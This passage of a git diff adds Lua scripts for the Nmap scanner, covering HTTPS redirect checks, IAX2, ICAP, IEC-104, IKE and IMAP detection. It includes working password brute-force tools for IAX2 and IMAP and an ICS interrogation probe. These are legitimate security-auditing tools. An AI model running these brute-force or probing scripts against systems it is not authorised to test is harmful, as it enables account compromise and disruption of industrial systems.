+ for v in string.gmatch(mirror.body, XSSED_URL) do
+ if string.find(mirror.body, XSSED_FIXED) then
+ table.insert(fixed, "\t" .. v .. "\n")
+ else
+ table.insert(unfixed, "\t" .. v .. "\n")
+ end
+ end
+ end
+ end
+
+ mutex "done"
+
+ -- Fix the output.
+ if not fixed and not unfixed then
+ return "No previously reported XSS vuln."
+ end
+
+ if next(unfixed) ~= nil then
+ table.insert(unfixed, 1, "UNFIXED XSS vuln.\n")
+ end
+
+ if next(fixed) ~= nil then
+ table.insert(fixed, 1, "FIXED XSS vuln.\n")
+ end
+
+ return {unfixed, fixed}
+
+end
diff --git a/scripts/https-redirect.nse b/scripts/https-redirect.nse
new file mode 100644
index 0000000..afc57ef
--- /dev/null
+++ b/scripts/https-redirect.nse
@@ -0,0 +1,78 @@
+local comm = require "comm"
+local string = require "string"
+local shortport = require "shortport"
+local nmap = require "nmap"
+local url = require "url"
+local U = require "lpeg-utility"
+
+
+description = [[
+Check for HTTP services that redirect to the HTTPS on the same port.
+]]
+
+author = {"Daniel Miller"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"version"}
+
+portrule = function (host, port)
+ if (port.version and port.version.service_tunnel == "ssl") then
+ -- If we already know it's SSL, bail.
+ return false
+ end
+ -- Otherwise, match HTTP services
+ -- always respecting version_intensity
+ return (shortport.http(host, port) and nmap.version_intensity() >= 7)
+end
+
+action = function (host, port)
+ local responses = {}
+ -- Did the service engine already do the hard work?
+ if port.version and port.version.service_fp then
+ -- Probes sent, replies received, but no match.
+ -- Loop through the probes most likely to receive HTTP responses
+ for _, p in ipairs({"GetRequest", "HTTPOptions", "FourOhFourRequest", "NULL"}) do
+ responses[#responses+1] = U.get_response(port.version.service_fp, p)
+ end
+ end
+ if #responses == 0 then
+ -- Have to send the probe ourselves.
+ local socket, result, proto = comm.tryssl(host, port, "GET / HTTP/1.0\r\n\r\n")
+
+ if (not socket) then
+ return nil
+ end
+ socket:close()
+ if proto == "ssl" then
+ -- Unlikely, but we could have negotiated SSL already.
+ port.version.service_tunnel = "ssl"
+ nmap.set_port_version(host, port, "softmatched")
+ return nil
+ end
+ responses[1] = result
+ end
+
+ for _, result in ipairs(responses) do
+ -- Match HTTP redirects, status 3XX
+ if string.match(result, "^HTTP/1.[01] 3%d%d") then
+
+ local location = string.match(result, "\n[Ll][Oo][Cc][Aa][Tt][Ii][Oo][Nn]:[ \t]*(.-)\r?\n")
+ if location then
+ local parsed = url.parse(location)
+ -- Check for a redirect to the same port, but with HTTPS scheme.
+ if parsed.scheme == 'https' and tonumber(parsed.port or 443) == port.number and (
+ -- ensure it's not some other machine
+ parsed.ascii_host == host.ip or
+ parsed.ascii_host == host.targetname or
+ parsed.ascii_host == host.name or
+ parsed.host == "" or parsed.host == nil
+ ) then
+ port.version.service_tunnel = "ssl"
+ nmap.set_port_version(host, port, "softmatched")
+ return nil
+ end
+ end
+ end
+ end
+end
diff --git a/scripts/iax2-brute.nse b/scripts/iax2-brute.nse
new file mode 100644
index 0000000..79ccbc5
--- /dev/null
+++ b/scripts/iax2-brute.nse
@@ -0,0 +1,76 @@
+local brute = require "brute"
+local creds = require "creds"
+local iax2 = require "iax2"
+local shortport = require "shortport"
+
+description = [[
+Performs brute force password auditing against the Asterisk IAX2 protocol.
+Guessing fails when a large number of attempts is made due to the maxcallnumber limit (default 2048).
+In case your getting "ERROR: Too many retries, aborted ..." after a while, this is most likely what's happening.
+In order to avoid this problem try:
+ - reducing the size of your dictionary
+ - use the brute delay option to introduce a delay between guesses
+ - split the guessing up in chunks and wait for a while between them
+]]
+
+---
+-- @usage
+-- nmap -sU -p 4569 <ip> --script iax2-brute
+--
+-- @output
+-- PORT STATE SERVICE
+-- 4569/udp open|filtered unknown
+-- | iax2-brute:
+-- | Accounts
+-- | 1002:password12 - Valid credentials
+-- | Statistics
+-- |_ Performed 1850 guesses in 2 seconds, average tps: 925
+--
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service(4569, "iax2", {"udp", "tcp"})
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ self.helper = iax2.Helper:new(self.host, self.port)
+ return self.helper:connect()
+ end,
+
+ login = function(self, username, password)
+ local status, resp = self.helper:regRelease(username, password)
+ if ( status ) then
+ return true, creds.Account:new( username, password, creds.State.VALID )
+ elseif ( resp == "Release failed" ) then
+ return false, brute.Error:new( "Incorrect password" )
+ else
+ local err = brute.Error:new(resp)
+ err:setRetry(true)
+ return false, err
+ end
+ end,
+
+ disconnect = function(self) return self.helper:close() end,
+}
+
+
+
+
+action = function(host, port)
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/iax2-version.nse b/scripts/iax2-version.nse
new file mode 100644
index 0000000..14a64a5
--- /dev/null
+++ b/scripts/iax2-version.nse
@@ -0,0 +1,55 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Detects the UDP IAX2 service.
+
+The script sends an Inter-Asterisk eXchange (IAX) Revision 2 Control Frame POKE
+request and checks for a proper response. This protocol is used to enable VoIP
+connections between servers as well as client-server communication.
+]]
+
+---
+-- @usage
+-- nmap -sU -sV -p 4569 <target>
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 4569/udp closed iax2
+
+author = "Ferdy Riphagen"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"version"}
+
+
+portrule = shortport.version_port_or_service(4569, nil, "udp")
+
+action = function(host, port)
+ -- see http://www.cornfed.com/iax.pdf for all options.
+ local poke = "\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x1e"
+
+ local status, recv = comm.exchange(host, port, poke, {timeout=10000})
+
+ if not status then
+ return
+ end
+
+ if (#recv) == 12 then
+ local byte11 = string.byte(recv, 11)
+ local byte12 = string.byte(recv, 12)
+
+ -- byte11 must be \x06 IAX Control Frame
+ -- and byte12 must be \x03 or \x04
+ if ((byte11 == 6) and
+ (byte12 == 3 or byte12 == 4))
+ then
+ nmap.set_port_state(host, port, "open")
+ port.version.name = "iax2"
+ nmap.set_port_version(host, port)
+ end
+
+ end
+end
diff --git a/scripts/icap-info.nse b/scripts/icap-info.nse
new file mode 100644
index 0000000..11c9e7e
--- /dev/null
+++ b/scripts/icap-info.nse
@@ -0,0 +1,119 @@
+local nmap = require "nmap"
+local match = require "match"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Tests a list of known ICAP service names and prints information about
+any it detects. The Internet Content Adaptation Protocol (ICAP) is
+used to extend transparent proxy servers and is generally used for
+content filtering and antivirus scanning.
+]]
+
+---
+-- @usage
+-- nmap -p 1344 <ip> --script icap-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 1344/tcp open unknown
+-- | icap-info:
+-- | /avscan
+-- | Service: C-ICAP/0.1.6 server - Clamav/Antivirus service
+-- | ISTag: CI0001-000-0973-6314940
+-- | /echo
+-- | Service: C-ICAP/0.1.6 server - Echo demo service
+-- | ISTag: CI0001-XXXXXXXXX
+-- | /srv_clamav
+-- | Service: C-ICAP/0.1.6 server - Clamav/Antivirus service
+-- | ISTag: CI0001-000-0973-6314940
+-- | /url_check
+-- | Service: C-ICAP/0.1.6 server - Url_Check demo service
+-- |_ ISTag: CI0001-XXXXXXXXX
+--
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe", "discovery"}
+
+
+portrule = shortport.port_or_service(1344, "icap")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function parseResponse(resp)
+ if ( not(resp) ) then
+ return
+ end
+
+ local resp_p = { header = {}, rawheader = {} }
+ local resp_tbl = stringaux.strsplit("\r?\n", resp)
+
+ if ( not(resp_tbl) or #resp_tbl == 0 ) then
+ stdnse.debug2("Received an invalid response from server")
+ return
+ end
+
+ resp_p.status = tonumber(resp_tbl[1]:match("^ICAP/1%.0 (%d*) .*$"))
+ resp_p['status-line'] = resp_tbl[1]
+
+ for i=2, #resp_tbl do
+ local key, val = resp_tbl[i]:match("^([^:]*):%s*(.*)$")
+ if ( not(key) or not(val) ) then
+ stdnse.debug2("Failed to parse header: %s", resp_tbl[i])
+ else
+ resp_p.header[key:lower()] = val
+ end
+ table.insert(resp_p.rawheader, resp_tbl[i])
+ end
+ return resp_p
+end
+
+action = function(host, port)
+
+ local services = {"/avscan", "/echo", "/srv_clamav", "/url_check", "/nmap" }
+ local headers = {"Service", "ISTag"}
+ local probe = {
+ "OPTIONS icap://%s%s ICAP/1.0",
+ "Host: %s",
+ "User-Agent: nmap icap-client/0.01",
+ "Encapsulated: null-body=0"
+ }
+ local hostname = stdnse.get_hostname(host)
+ local result = {}
+
+ for _, service in ipairs(services) do
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+ if ( not(socket:connect(host, port)) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local request = (table.concat(probe, "\r\n") .. "\r\n\r\n"):format(hostname, service, hostname)
+
+ if ( not(socket:send(request)) ) then
+ socket:close()
+ return fail("Failed to send request to server")
+ end
+
+ local status, resp = socket:receive_buf(match.pattern_limit("\r\n\r\n", 2048), false)
+ if ( not(status) ) then
+ return fail("Failed to receive response from server")
+ end
+
+ local resp_p = parseResponse(resp)
+ if ( resp_p and resp_p.status == 200 ) then
+ local result_part = { name = service }
+ for _, h in ipairs(headers) do
+ if ( resp_p.header[h:lower()] ) then
+ table.insert(result_part, ("%s: %s"):format(h, resp_p.header[h:lower()]))
+ end
+ end
+ table.insert(result, result_part)
+ end
+ end
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/iec-identify.nse b/scripts/iec-identify.nse
new file mode 100644
index 0000000..81bcd61
--- /dev/null
+++ b/scripts/iec-identify.nse
@@ -0,0 +1,161 @@
+local shortport = require "shortport"
+local comm = require "comm"
+local stdnse = require "stdnse"
+local string = require "string"
+local match = require "match"
+
+description = [[
+Attempts to identify IEC 60870-5-104 ICS protocol.
+
+After probing with a TESTFR (test frame) message, a STARTDT (start data
+transfer) message is sent and general interrogation is used to gather the list
+of information object addresses stored.
+]]
+
+---
+-- @output
+-- | iec-identify:
+-- | ASDU address: 105
+-- |_ Information objects: 30
+--
+
+author = {"Aleksandr Timorin", "Daniel Miller"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+portrule = shortport.port_or_service(2404, "iec-104", "tcp")
+
+local function get_asdu(socket)
+ local status, data = socket:receive_buf(match.numbytes(2), true)
+ if not status then
+ return nil, data
+ end
+ if data:byte(1) ~= 0x68 then
+ return nil, "Not IEC-104"
+ end
+ local len = data:byte(2)
+ status, data = socket:receive_buf(match.numbytes(len), true)
+ if not status then
+ return nil, data
+ end
+ local apcitype = data:byte(1)
+ return apcitype, data
+end
+
+action = function(host, port)
+
+ local output = stdnse.output_table()
+ local socket, err = comm.opencon(host, port)
+ if not socket then
+ stdnse.debug1("Connect error: %s", err)
+ return nil
+ end
+
+ -- send TESTFR ACT command
+ -- Test frame, like "ping"
+ local TESTFR = "\x68\x04\x43\0\0\0"
+ local status, err = socket:send( TESTFR )
+ if not status then
+ stdnse.debug1("Failed to send: %s", err)
+ return nil
+ end
+
+ -- receive TESTFR answer
+ local apcitype, recv = get_asdu(socket)
+ if not apcitype then
+ stdnse.debug1("protocol error: %s", recv)
+ return nil
+ end
+ if apcitype ~= 0x83 then
+ stdnse.print_debug(1, "Not IEC-104. TESTFR response: %#x", apcitype)
+ return nil
+ end
+
+ -- send STARTDT ACT command
+ local STARTDT = "\x68\x04\x07\0\0\0"
+ status, err = socket:send( STARTDT )
+ if not status then
+ stdnse.debug1("Failed to send: %s", err)
+ return nil
+ end
+
+ -- receive STARTDT answer
+ apcitype, recv = get_asdu(socket)
+ if not apcitype then
+ stdnse.debug1("protocol error: %s", recv)
+ return nil
+ end
+ if apcitype ~= 0x0b then
+ stdnse.debug1("STARTDT ACT did not receive STARTDT CON: %#x", apcitype)
+ return nil
+ end
+
+ -- May also receive ME_EI_NA_1 (End of initialization), so check for that in the buffer after sending the next part
+
+ -- send C_IC_NA_1 command
+ -- type: 0x64, C_IC_NA_1,
+ -- numix: 1
+ -- TNCause: 6, Act
+ -- Originator address; 0
+ -- ASDU address: 0xffff
+ -- Information object address: 0
+ -- QOI: 0x14 (20), Station interrogation (global)
+ local C_IC_NA_1_broadcast = "\x68\x0e\0\0\0\0\x64\x01\x06\0\xff\xff\0\0\0\x14"
+ status, err = socket:send( C_IC_NA_1_broadcast )
+ if not status then
+ stdnse.debug1("Failed to send: %s", err)
+ return nil
+ end
+
+ local asdu_address
+ local ioas = 0
+ -- Have to draw the line somewhere.
+ local limit = 10
+ while limit > 0 do
+ limit = limit - 1
+ apcitype, recv = get_asdu(socket)
+ if not apcitype then
+ stdnse.debug1("Error in C_IC_NA_1: %s", recv)
+ break
+ end
+ if apcitype & 0x01 == 0 then -- Type I, numbered information transfer
+ -- skip 2 bytes Tx, 2 bytes Rx
+ local typeid = recv:byte(5)
+ if typeid == 70 then
+ -- ME_EI_NA_1, End of Initialization. Skip.
+ else
+ local numix = recv:byte(6) & 0x7f
+ local cause = recv:byte(7) & 0x3f
+ asdu_address = string.unpack("<I2", recv, 9)
+ stdnse.debug2("Got asdu=%d, type %d, cause %d, numix %d.", asdu_address, typeid, cause, numix)
+ if typeid == 100 then
+ -- C_IC_NA_1
+ if cause == 7 then
+ -- ActCon. Skip.
+ elseif cause == 10 then
+ -- ActTerm. The end!
+ break
+ else
+ -- TODO: do something!
+ end
+ else
+ if cause >= 20 and cause <= 36 then
+ -- Inrogen, response to general interrogation
+ ioas = ioas + numix
+ end
+ end
+ end
+ end
+ end
+
+ socket:close()
+
+ if asdu_address then
+ output["ASDU address"] = asdu_address
+ output["Information objects"] = ioas
+ else
+ output = "IEC-104 endpoint did not respond to C_IC_NA_1 request"
+ end
+
+ return output
+end
diff --git a/scripts/ike-version.nse b/scripts/ike-version.nse
new file mode 100644
index 0000000..1db3db5
--- /dev/null
+++ b/scripts/ike-version.nse
@@ -0,0 +1,171 @@
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local table = require "table"
+local ike = require "ike"
+
+
+description=[[
+Obtains information (such as vendor and device type where available) from an
+IKE service by sending four packets to the host. This scripts tests with both
+Main and Aggressive Mode and sends multiple transforms per request.
+]]
+
+
+---
+-- @usage
+-- nmap -sU -sV -p 500 <target>
+-- nmap -sU -p 500 --script ike-version <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 500/udp open isakmp udp-response Fortinet FortiGate v5
+-- | ike-version:
+-- | vendor_id: Fortinet FortiGate v5
+-- | attributes:
+-- | Dead Peer Detection v1.0
+-- |_ XAUTH
+-- Service Info: OS: Fortigate v5; Device: Network Security Appliance; CPE: cpe:/h:fortinet:fortigate
+--
+-- @xmloutput
+-- <elem key="vendor_id">Fortinet FortiGate v5</elem>
+-- <table key="unmatched_ids">
+-- <elem>1234567890abcdef</elem>
+-- </table>
+-- <table key="attributes">
+-- <elem>Dead Peer Detection v1.0</elem>
+-- <elem>XAUTH</elem>
+-- </table>
+---
+
+
+author = "Jesper Kueckelhahn"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe", "version"}
+
+portrule = shortport.version_port_or_service(500, "isakmp", "udp")
+
+
+-- Test different methods for getting version
+--
+local function get_version(host, port)
+ local packet, version, t
+ local auth = {"psk", "rsa", "Hybrid", "XAUTH"}
+ local encryption = {"des", "3des", "aes/128", "aes/192", "aes/256"}
+ local hash = {"md5", "sha1"}
+ local group = {"768", "1024", "1536"}
+
+
+ -- generate transforms
+ t = {}
+ for h,a in pairs(auth) do
+ for i,e in pairs(encryption) do
+ for j,h in pairs(hash) do
+ for k,g in pairs(group) do
+ table.insert(t, { ['auth'] = a, ['encryption'] = e, ['hash'] = h, ['group'] = g});
+ end
+ end
+ end
+ end
+
+
+ -- try aggressive mode (diffie hellman group 2)
+ local diffie = 2
+ stdnse.debug1("Sending Aggressive mode packet ...")
+ packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
+ version = ike.send_request(host, port, packet)
+ if version.success then
+ return version
+ end
+ stdnse.debug1("Aggressive mode (dh 2) failed")
+
+ -- try aggressive mode (diffie hellman group 1)
+ diffie = 1
+ stdnse.debug1("Sending Aggressive mode packet ...")
+ packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
+ version = ike.send_request(host, port, packet)
+ if version.success then
+ return version
+ end
+ stdnse.debug1("Aggressive mode (dh 1) failed")
+
+ -- try aggressive mode (diffie hellman group 2, no id)
+ -- some checkpoint devices respond to this
+ local diffie = 2
+ stdnse.debug1("Sending Aggressive mode packet ...")
+ packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, '')
+ version = ike.send_request(host, port, packet)
+ if version.success then
+ return version
+ end
+ stdnse.debug1("Aggressive mode (dh 2, no id) failed")
+
+ -- try main mode
+ stdnse.debug1("Sending Main mode packet ...")
+ packet = ike.request(port.number, port.protocol, 'Main', t, '')
+ version = ike.send_request(host, port, packet)
+ if version.success then
+ return version
+ end
+ stdnse.debug1("Main mode failed")
+
+ stdnse.debug1("Version detection not possible")
+ return false
+end
+
+
+action = function( host, port )
+ local ike_response = get_version(host, port)
+
+ if ike_response then
+ -- get_version only returns something if ike.send_request().success == true
+ nmap.set_port_state(host, port, "open")
+
+ -- Extra information found in the response. Kept for future reference.
+ -- local mode = ike_response['mode']
+ -- local vids = ike_response['vids']
+
+ local info = ike_response['info']
+ local set_version = false
+ local out = stdnse.output_table()
+ if info.vendor ~= nil then
+ set_version = true
+ if info.vendor.vendor then
+ out.vendor_id = info.vendor.vendor
+ port.version.product = info.vendor.vendor
+ end
+ if info.vendor.version then
+ port.version.version = info.vendor.version
+ out.vendor_id = (out.vendor_id or "") .. " " .. info.vendor.version
+ end
+ port.version.ostype = info.vendor.ostype
+ port.version.devicetype = info.vendor.devicetype
+ table.insert(port.version.cpe, info.vendor.cpe)
+ end
+
+ local attribs = {}
+ for i, attrib in ipairs(info.attribs) do
+ attribs[i] = attrib.text
+ if attrib.ostype or attrib.devicetype or attrib.cpe then
+ set_version = true
+ port.version.ostype = port.version.ostype or attrib.ostype
+ port.version.devicetype = port.version.devicetype or attrib.devicetype
+ table.insert(port.version.cpe, attrib.cpe)
+ end
+ end
+
+ out.unmatched_ids = info.unmatched_ids
+ if next(attribs) then
+ out.attributes = attribs
+ end
+
+ if set_version then
+ nmap.set_port_version(host, port, "hardmatched")
+ end
+ stdnse.debug1("Version: %s", port.version.product )
+ return out
+ end
+end
+
+
+
diff --git a/scripts/imap-brute.nse b/scripts/imap-brute.nse
new file mode 100644
index 0000000..3321f6b
--- /dev/null
+++ b/scripts/imap-brute.nse
@@ -0,0 +1,144 @@
+local brute = require "brute"
+local coroutine = require "coroutine"
+local creds = require "creds"
+local imap = require "imap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against IMAP servers using either LOGIN, PLAIN, CRAM-MD5, DIGEST-MD5 or NTLM authentication.
+]]
+
+---
+-- @usage
+-- nmap -p 143,993 --script imap-brute <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 143/tcp open imap syn-ack
+-- | imap-brute:
+-- | Accounts
+-- | braddock:jules - Valid credentials
+-- | lane:sniper - Valid credentials
+-- | parker:scorpio - Valid credentials
+-- | Statistics
+-- |_ Performed 62 guesses in 10 seconds, average tps: 6
+--
+-- @args imap-brute.auth authentication mechanism to use LOGIN, PLAIN,
+-- CRAM-MD5, DIGEST-MD5 or NTLM
+
+-- Version 0.1
+-- Created 07/15/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+portrule = shortport.port_or_service({143,993}, {"imap","imaps"})
+
+local mech
+
+-- By using this connectionpool we don't need to reconnect the socket
+-- for each attempt.
+ConnectionPool = {}
+
+Driver =
+{
+
+ -- Creates a new driver instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param pool an instance of the ConnectionPool
+ new = function(self, host, port, pool)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects to the server (retrieves a connection from the pool)
+ connect = function( self )
+ self.helper = ConnectionPool[coroutine.running()]
+ if ( not(self.helper) ) then
+ self.helper = imap.Helper:new( self.host, self.port )
+ self.helper:connect()
+ ConnectionPool[coroutine.running()] = self.helper
+ end
+ return true
+ end,
+
+ -- Attempts to login to the server
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @return status true on success, false on failure
+ -- @return brute.Error on failure and creds.Account on success
+ login = function( self, username, password )
+ local status, err = self.helper:login( username, password, mech )
+ if ( status ) then
+ self.helper:close()
+ self.helper:connect()
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ if ( err:match("^ERROR: Failed to .* data$") ) then
+ self.helper:close()
+ self.helper:connect()
+ local err = brute.Error:new( err )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ -- Disconnects from the server (release the connection object back to
+ -- the pool)
+ disconnect = function( self )
+ return true
+ end,
+
+}
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ -- Connects to the server and retrieves the capabilities so that
+ -- authentication mechanisms can be determined
+ local helper = imap.Helper:new(host, port)
+ local status = helper:connect()
+ if (not(status)) then return fail("Failed to connect to the server.") end
+ local status, capabilities = helper:capabilities()
+ if (not(status)) then return fail("Failed to retrieve capabilities.") end
+
+ -- check if an authentication mechanism was provided or try
+ -- try them in the mech_prio order
+ local mech_prio = stdnse.get_script_args("imap-brute.auth")
+ mech_prio = ( mech_prio and { mech_prio } ) or
+ { "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
+
+ -- iterates over auth mechanisms until a valid mechanism is found
+ for _, m in ipairs(mech_prio) do
+ if ( m == "LOGIN" and not(capabilities.LOGINDISABLED)) then
+ mech = "LOGIN"
+ break
+ elseif ( capabilities["AUTH=" .. m] ) then
+ mech = m
+ break
+ end
+ end
+
+ -- if no mechanisms were found, abort
+ if ( not(mech) ) then
+ return fail("No suitable authentication mechanism was found")
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ local result
+ status, result = engine:start()
+
+ for _, helper in pairs(ConnectionPool) do helper:close() end
+
+ return result
+end
diff --git a/scripts/imap-capabilities.nse b/scripts/imap-capabilities.nse
new file mode 100644
index 0000000..b7d3798
--- /dev/null
+++ b/scripts/imap-capabilities.nse
@@ -0,0 +1,53 @@
+local imap = require "imap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Retrieves IMAP email server capabilities.
+
+IMAP4rev1 capabilities are defined in RFC 3501. The CAPABILITY command
+allows a client to ask a server what commands it supports and possibly
+any site-specific policy.
+]]
+
+---
+-- @output
+-- 143/tcp open imap
+-- |_ imap-capabilities: LOGINDISABLED IDLE IMAP4 LITERAL+ STARTTLS NAMESPACE IMAP4rev1
+
+
+author = "Brandon Enright"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe"}
+
+
+portrule = shortport.port_or_service({143, 993}, {"imap", "imaps"})
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local helper = imap.Helper:new(host, port)
+ local status = helper:connect()
+ if ( not(status) ) then return fail("Failed to connect to server") end
+
+ local status, capa = helper:capabilities(host, port)
+ if( not(status) ) then return fail("Failed to retrieve capabilities") end
+ helper:close()
+
+ if type(capa) == "table" then
+ -- Convert the capabilities table into an array of strings.
+ local capstrings = {}
+ local cap, args
+ for cap, args in pairs(capa) do
+ table.insert(capstrings, cap)
+ end
+ return table.concat(capstrings, " ")
+ elseif type(capa) == "string" then
+ stdnse.debug1("'%s' for %s", capa, host.ip)
+ return
+ else
+ return "server doesn't support CAPABILITIES"
+ end
+end
diff --git a/scripts/imap-ntlm-info.nse b/scripts/imap-ntlm-info.nse
new file mode 100644
index 0000000..60a29a8
--- /dev/null
+++ b/scripts/imap-ntlm-info.nse
@@ -0,0 +1,176 @@
+local comm = require "comm"
+local os = require "os"
+local datetime = require "datetime"
+local shortport = require "shortport"
+local sslcert = require "sslcert"
+local stdnse = require "stdnse"
+local base64 = require "base64"
+local smbauth = require "smbauth"
+local string = require "string"
+
+
+description = [[
+This script enumerates information from remote IMAP services with NTLM
+authentication enabled.
+
+Sending an IMAP NTLM authentication request with null credentials will
+cause the remote service to respond with a NTLMSSP message disclosing
+information to include NetBIOS, DNS, and OS build version.
+]]
+
+
+---
+-- @usage
+-- nmap -p 143,993 --script imap-ntlm-info <target>
+--
+-- @output
+-- 143/tcp open imap
+-- | imap-ntlm-info:
+-- | Target_Name: ACTIVEIMAP
+-- | NetBIOS_Domain_Name: ACTIVEIMAP
+-- | NetBIOS_Computer_Name: IMAP-TEST2
+-- | DNS_Domain_Name: somedomain.com
+-- | DNS_Computer_Name: imap-test2.somedomain.com
+-- | DNS_Tree_Name: somedomain.com
+-- |_ Product_Version: 6.1.7601
+--
+--@xmloutput
+-- <elem key="Target_Name">ACTIVEIMAP</elem>
+-- <elem key="NetBIOS_Domain_Name">ACTIVEIMAP</elem>
+-- <elem key="NetBIOS_Computer_Name">IMAP-TEST2</elem>
+-- <elem key="DNS_Domain_Name">somedomain.com</elem>
+-- <elem key="DNS_Computer_Name">imap-test2.somedomain.com</elem>
+-- <elem key="DNS_Tree_Name">somedomain.com</elem>
+-- <elem key="Product_Version">6.1.7601</elem>
+
+
+author = "Justin Cacak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+local ntlm_auth_blob = base64.enc( select(2,
+ smbauth.get_security_blob(nil, nil, nil, nil, nil, nil, nil,
+ 0x00000001 + -- Negotiate Unicode
+ 0x00000002 + -- Negotiate OEM strings
+ 0x00000004 + -- Request Target
+ 0x00000200 + -- Negotiate NTLM
+ 0x00008000 + -- Negotiate Always Sign
+ 0x00080000 + -- Negotiate NTLM2 Key
+ 0x20000000 + -- Negotiate 128
+ 0x80000000 -- Negotiate 56
+ ))
+ )
+
+portrule = shortport.port_or_service({ 143, 993 }, { "imap", "imaps" })
+
+action = function(host, port)
+
+ local output = stdnse.output_table()
+
+ local starttls = sslcert.isPortSupported(port)
+ local socket
+ if starttls then
+ local status
+ status, socket = starttls(host, port)
+ if not status then
+ -- could be socket problems, but more likely STARTTLS not supported.
+ stdnse.debug1("starttls error: %s", socket)
+ socket = nil
+ end
+ end
+ if not socket then
+ local line, bopt, first_line
+ socket, line, bopt, first_line = comm.tryssl(host, port, "" , {recv_before=true})
+ if not socket then
+ stdnse.debug1("connection error: %s", line)
+ return nil
+ end
+ end
+
+ socket:send("000b AUTHENTICATE NTLM\r\n")
+ local status, response = socket:receive()
+ if not status then
+ stdnse.debug1("Socket receive failed: %s", response)
+ return nil
+ end
+ if not response then
+ stdnse.debug1("No response to AUTHENTICATE NTLM")
+ return nil
+ end
+
+ socket:send(ntlm_auth_blob .. "\r\n")
+ status, response = socket:receive()
+ if not status then
+ stdnse.debug1("Socket receive failed: %s", response)
+ return nil
+ end
+ if not response then
+ stdnse.debug1("No response to NTLM challenge")
+ return nil
+ end
+
+ local recvtime = os.time()
+ socket:close()
+
+ if string.match(response, "^A%d%d%d%d ") then
+ stdnse.debug2("NTLM auth not supported.")
+ return nil
+ end
+
+ -- Continue only if a + response is returned
+ local response_decoded = string.match(response, "+ (.*)")
+ if not response_decoded then
+ stdnse.debug1("Unexpected response to NTLM challenge: %s", response)
+ return nil
+ end
+
+ local response_decoded = base64.dec(response_decoded)
+
+ -- Continue only if NTLMSSP response is returned
+ if not string.match(response_decoded, "^NTLMSSP") then
+ stdnse.debug1("Unexpected response to NTLM challenge: %s", response)
+ return nil
+ end
+
+ -- Leverage smbauth.get_host_info_from_security_blob() for decoding
+ local ntlm_decoded = smbauth.get_host_info_from_security_blob(response_decoded)
+
+ if ntlm_decoded.timestamp then
+ -- 64-bit number of 100ns clicks since 1/1/1601
+ local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600
+ datetime.record_skew(host, unixstamp, recvtime)
+ end
+
+ -- Target Name will always be returned under any implementation
+ output.Target_Name = ntlm_decoded.target_realm
+
+ -- Display information returned & ignore responses with null values
+ if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then
+ output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name
+ end
+
+ if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then
+ output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name
+ end
+
+ if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then
+ output.DNS_Domain_Name = ntlm_decoded.dns_domain_name
+ end
+
+ if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then
+ output.DNS_Computer_Name = ntlm_decoded.fqdn
+ end
+
